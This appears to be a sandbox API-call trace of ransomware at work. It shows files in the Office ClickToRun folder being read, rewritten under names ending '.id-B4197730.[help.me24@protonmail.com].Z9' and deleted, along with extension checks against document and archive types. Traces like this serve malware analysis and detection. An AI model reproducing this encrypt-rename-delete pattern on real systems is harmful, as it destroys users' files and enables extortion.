	[0084.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.702] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=20672) returned 1
	[0084.702] CloseHandle (hObject=0x374) returned 1
	[0084.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20
	[0084.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.703] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.703] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.703] GetLastError () returned 0x0
	[0084.703] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x50c0, lpOverlapped=0x0) returned 1
	[0084.953] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x50d0, lpOverlapped=0x0) returned 1
	[0084.954] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.955] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0084.955] SetEndOfFile (hFile=0x364) returned 1
	[0084.955] CloseHandle (hObject=0x364) returned 1
	[0084.962] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.962] SetEndOfFile (hFile=0x374) returned 1
	[0084.964] CloseHandle (hObject=0x374) returned 1
	[0084.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.964] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1
	[0084.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.965] lstrlenW (lpString=".doc") returned 4
	[0084.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.965] lstrlenW (lpString=".docx") returned 5
	[0084.965] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.965] lstrlenW (lpString=".pdf") returned 4
	[0084.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.965] lstrlenW (lpString=".xls") returned 4
	[0084.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.965] lstrlenW (lpString=".xlsx") returned 5
	[0084.965] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.965] lstrlenW (lpString=".ppt") returned 4
	[0084.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.966] lstrlenW (lpString=".zip") returned 4
	[0084.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.966] lstrlenW (lpString=".rar") returned 4
	[0084.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.966] lstrlenW (lpString=".bz2") returned 4
	[0084.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.966] lstrlenW (lpString=".7z") returned 3
	[0084.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.966] lstrlenW (lpString=".dbf") returned 4
	[0084.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.966] lstrlenW (lpString=".1cd") returned 4
	[0084.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.966] lstrlenW (lpString=".jpg") returned 4
	[0084.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.966] lstrlenW (lpString=".doc") returned 4
	[0084.967] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.967] lstrlenW (lpString=".docx") returned 5
	[0084.967] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.967] lstrlenW (lpString=".pdf") returned 4
	[0084.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.967] lstrlenW (lpString=".xls") returned 4
	[0084.967] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.967] lstrlenW (lpString=".xlsx") returned 5
	[0084.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.967] lstrlenW (lpString=".ppt") returned 4
	[0084.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.967] lstrlenW (lpString=".zip") returned 4
	[0084.967] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.967] lstrlenW (lpString=".rar") returned 4
	[0084.967] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.967] lstrlenW (lpString=".bz2") returned 4
	[0084.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.967] lstrlenW (lpString=".7z") returned 3
	[0084.967] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.967] lstrlenW (lpString=".dbf") returned 4
	[0084.967] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.967] lstrlenW (lpString=".1cd") returned 4
	[0084.968] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0084.968] lstrlenW (lpString=".jpg") returned 4
	[0084.968] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.968] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.968] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33
	[0084.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.968] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19136) returned 1
	[0084.969] CloseHandle (hObject=0x374) returned 1
	[0084.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20
	[0084.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.969] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.969] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.970] GetLastError () returned 0x0
	[0084.970] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.973] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.975] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.975] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.975] SetEndOfFile (hFile=0x364) returned 1
	[0084.975] CloseHandle (hObject=0x364) returned 1
	[0084.976] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.976] SetEndOfFile (hFile=0x374) returned 1
	[0084.978] CloseHandle (hObject=0x374) returned 1
	[0084.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.978] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1
	[0084.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.979] lstrlenW (lpString=".doc") returned 4
	[0084.979] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.979] lstrlenW (lpString=".docx") returned 5
	[0084.979] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.979] lstrlenW (lpString=".pdf") returned 4
	[0084.979] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.979] lstrlenW (lpString=".xls") returned 4
	[0084.979] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.979] lstrlenW (lpString=".xlsx") returned 5
	[0084.979] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.979] lstrlenW (lpString=".ppt") returned 4
	[0084.979] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.979] lstrlenW (lpString=".zip") returned 4
	[0084.979] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.979] lstrlenW (lpString=".rar") returned 4
	[0084.979] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.979] lstrlenW (lpString=".bz2") returned 4
	[0084.979] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.980] lstrlenW (lpString=".7z") returned 3
	[0084.980] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.980] lstrlenW (lpString=".dbf") returned 4
	[0084.980] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.980] lstrlenW (lpString=".1cd") returned 4
	[0084.980] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.980] lstrlenW (lpString=".jpg") returned 4
	[0084.980] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.980] lstrlenW (lpString=".doc") returned 4
	[0084.980] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.980] lstrlenW (lpString=".docx") returned 5
	[0084.980] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.980] lstrlenW (lpString=".pdf") returned 4
	[0084.980] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.980] lstrlenW (lpString=".xls") returned 4
	[0084.980] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.980] lstrlenW (lpString=".xlsx") returned 5
	[0084.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.981] lstrlenW (lpString=".ppt") returned 4
	[0084.981] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.981] lstrlenW (lpString=".zip") returned 4
	[0084.981] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.981] lstrlenW (lpString=".rar") returned 4
	[0084.981] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.981] lstrlenW (lpString=".bz2") returned 4
	[0084.981] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.981] lstrlenW (lpString=".7z") returned 3
	[0084.981] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.981] lstrlenW (lpString=".dbf") returned 4
	[0084.981] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.981] lstrlenW (lpString=".1cd") returned 4
	[0084.981] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0084.981] lstrlenW (lpString=".jpg") returned 4
	[0084.981] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.981] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.982] lstrlenW (lpString="ApiClient.dll") returned 13
	[0084.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.982] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=162880) returned 1
	[0084.982] CloseHandle (hObject=0x374) returned 1
	[0084.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0084.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.983] lstrlenW (lpString=".doc") returned 4
	[0084.983] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.983] lstrlenW (lpString=".docx") returned 5
	[0084.983] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0084.983] lstrlenW (lpString=".pdf") returned 4
	[0084.983] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.983] lstrlenW (lpString=".xls") returned 4
	[0084.983] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.983] lstrlenW (lpString=".xlsx") returned 5
	[0084.983] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0084.983] lstrlenW (lpString=".ppt") returned 4
	[0084.983] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.983] lstrlenW (lpString=".zip") returned 4
	[0084.983] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.983] lstrlenW (lpString=".rar") returned 4
	[0084.983] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.983] lstrlenW (lpString=".bz2") returned 4
	[0084.984] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.984] lstrlenW (lpString=".7z") returned 3
	[0084.984] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.984] lstrlenW (lpString=".dbf") returned 4
	[0084.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.984] lstrlenW (lpString=".1cd") returned 4
	[0084.984] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.984] lstrlenW (lpString=".jpg") returned 4
	[0084.984] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.984] lstrlenW (lpString=".doc") returned 4
	[0084.984] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.984] lstrlenW (lpString=".docx") returned 5
	[0084.984] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0084.984] lstrlenW (lpString=".pdf") returned 4
	[0084.984] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.984] lstrlenW (lpString=".xls") returned 4
	[0084.984] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.984] lstrlenW (lpString=".xlsx") returned 5
	[0084.985] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0084.985] lstrlenW (lpString=".ppt") returned 4
	[0084.985] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.985] lstrlenW (lpString=".zip") returned 4
	[0084.985] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.985] lstrlenW (lpString=".rar") returned 4
	[0084.985] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.985] lstrlenW (lpString=".bz2") returned 4
	[0084.985] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.985] lstrlenW (lpString=".7z") returned 3
	[0084.985] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.985] lstrlenW (lpString=".dbf") returned 4
	[0084.985] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.985] lstrlenW (lpString=".1cd") returned 4
	[0084.985] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0084.985] lstrlenW (lpString=".jpg") returned 4
	[0084.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.986] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.986] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0084.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.986] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=656088) returned 1
	[0084.986] CloseHandle (hObject=0x374) returned 1
	[0084.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0084.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.987] lstrlenW (lpString=".doc") returned 4
	[0084.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.987] lstrlenW (lpString=".docx") returned 5
	[0084.987] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0084.987] lstrlenW (lpString=".pdf") returned 4
	[0084.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.987] lstrlenW (lpString=".xls") returned 4
	[0084.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.987] lstrlenW (lpString=".xlsx") returned 5
